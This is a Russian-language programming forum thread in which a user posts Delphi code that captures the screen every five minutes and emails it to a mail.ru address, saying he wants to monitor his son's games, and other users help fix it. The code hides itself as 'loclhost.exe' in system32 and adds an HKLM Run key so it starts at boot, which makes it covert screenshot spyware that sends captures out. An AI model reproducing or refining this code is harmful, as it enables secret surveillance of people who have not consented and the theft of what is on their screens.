Сделать снимок экрана и отправить на email (Хоть тресни не коннектится)

[Sinkl]

Пытаюсь написать небольшую программку суть такова прога делает снимок экрана и отправляет его по почте рас в 5 мин (Слежу во что сынишка играет на компе) добавляю её в авто запуск всё работает прекрасно отправляет как надо, соединение отслеживаю путём пингования IP адреса всё хорошо но только стоит выключить или перезагрузить ПК программка тут же перестаёт отправлять снимки на почту как только я её перезапускаю в ручную всё снова идёт как по маслу) В чем может быть ошибка? скажу честно я не очень силён в программирование). надеюсь на вашу любую помощь Винда Xp sp3

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdRawBase, IdRawClient,
  IdIcmpClient, ExtCtrls, jpeg, IdMessage, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP,IdAttachmentFile,RegisTry;

type
  TForm3 = class(TForm)
    IdIcmpClient1: TIdIcmpClient;
    Button1: TButton;
    Timer1: TTimer;
    Button2: TButton;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    Timer2: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure IdIcmpClient1Reply(ASender: TComponent;
      const AReplyStatus: TReplyStatus);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
  procedure GetRS(RS:TBitmap; Path: string);
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.GetRS(RS: TBitmap; Path: string);
var
 c: TCanvas;
 r: TRect;
 jpgImg: TJPEGImage;
 attach: TIdAttachmentFile;
 b: TBitMap;
begin
 c:=TCanvas.Create;
 c.Handle:=getWindowDC(GetDesktopWindow);
 try
  r:=Rect(0,0,screen.Width,screen.Height);
  RS.Width:=screen.Width;
  RS.Height:=screen.Height;
  RS.Canvas.CopyRect(r,c,r);
  RS.SaveToFile(Path);
  jpgImg := TJPEGImage.Create;
  jpgImg.Assign(RS);
  jpgImg.SaveToFile(Path)
 finally
  ReleaseDC(0,c.Handle);
  c.Free;
  jpgImg.Free;
 end;
 try
IdSMTP1.AuthType := satDefault;
idsmtp1.Host:='smtp.mail.ru';
idsmtp1.Port:=25;
idsmtp1.Username:='Scriner96';
idsmtp1.Password:='*****';
idmessage1.Body.Text:='ScrinShot';
idmessage1.From.Text:='Scriner96@mail.ru';
idmessage1.Recipients.EMailAddresses:='Scriner96@mail.ru';
idmessage1.Subject:='Scrin';
attach:=TIdAttachmentFile.Create(idmessage1.MessageParts,'1src.jpg');
idsmtp1.Connect;
except
////ERROR////
 end;
if idsmtp1.Connected=true then
begin
idsmtp1.Send(idmessage1);
idsmtp1.Disconnect;
attach.Free;
end

else
begin
idsmtp1.Disconnect;
idSMTP1.Free;
idmessage1.Free;
attach.Free;
end
end;

procedure TForm3.Timer2Timer(Sender: TObject);
begin
if FindWindow(nil, 'Подключение: byfly') <> 0 then
begin
timer1.Enabled:=True;
timer2.Enabled:=False;
end
else
begin

end;
end;
end.

procedure TForm3.Timer1Timer(Sender: TObject);
begin
button1.Click;
end;

procedure TForm3.Button1Click(Sender: TObject);
var reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\WINDOWS\system32\loclhost.exe'), True);
begin
 reg := tregistry.create;
 reg.rootkey := hkey_local_machine;
 reg.lazywrite := false;
 reg.openkey('software\microsoft\windows\currentversion\run', false);
 reg.writestring('loclhost', 'C:\WINDOWS\system32\loclhost.exe'); 
 reg.closekey;
 reg.free;
end;
IdIcmpClient1.Host:='173.194.35.184';
IdIcmpClient1.Ping; //Пингуем
end;

procedure TForm3.IdIcmpClient1Reply(ASender: TComponent;
  const AReplyStatus: TReplyStatus);
var
i:integer;
begin
i:=0;
i:= (AReplyStatus.MsRoundTripTime);
if i < 1000 then
button2.Click
else begin

end;

end;

procedure TForm3.Button2Click(Sender: TObject);
var
 b: TBitMap;
begin
 try
 b:=TBitMap.Create;
 GetRS(b,ExtractFilePath(Application.ExeName) + '1src.jpg');
 b.Free;
 except

 end;
end;
end.

Проект выложил чуть ниже

[Человек_Борща]

Нету там ошибок

[Sinkl]

ну если всё правильно нет никаких ошибок тогда почему после перезагрузки ПК прога нормально стартует вопросов нет но вот снимки не в какую не хочет отправлять? всё работает только после ручного перезапуска

[BARNEY]

винда не 7 ?? может стоит bat файлом запускать с правами администратора.

[Sinkl]

Винда XP Sp3 пробовал и через батник и писал отдельную прогу для запуска и всё равно не хочет работать( перезапускаю вручную всё норм ребят что может быть? может дело не в самом коде а где-нибудь в винде? кстати антивирус тоже пробовал отключать не помогл

[Slym]

поправил тестируй

[Sinkl]

Slym спасибо тебе всё прекрасно работает!) а не подскажиш в чем проблемка та была? я так и не понял

[Slym]

1. все что не нужно сразу фтопку.
тут не моделирование ядерного взрыва где каждый реалок или реинициализация губительны
оставленный в живых объект может запомнить свое предыдущее состояние и незаметно портить воздух на втором проходе
2. Где породил там и убей.
а ты битмапы размазал на несколько процедур.
3. выделяй сущности и шаги
не надо все подряд запихивать в одну процедуру - одно действие одна процедура, джампы губительны на большом колве итераций - вот там беспроцедурный инлайн
4. накуя 2 таймера? вот в часах сколько таймеров? по колву стрелок?
часовая стрелка срабатывает раз в час, минутная раз в минуту а секундная раз в секунду?
нет!!! только секундная - остальное все на счетчиках 60, 3600
5. смени пароль ящика в архиве незазвездено

[Sinkl]

Спасибо всё понятно досупно)) а ящик тестовый) падумал быть может каму лень на свой ставить)))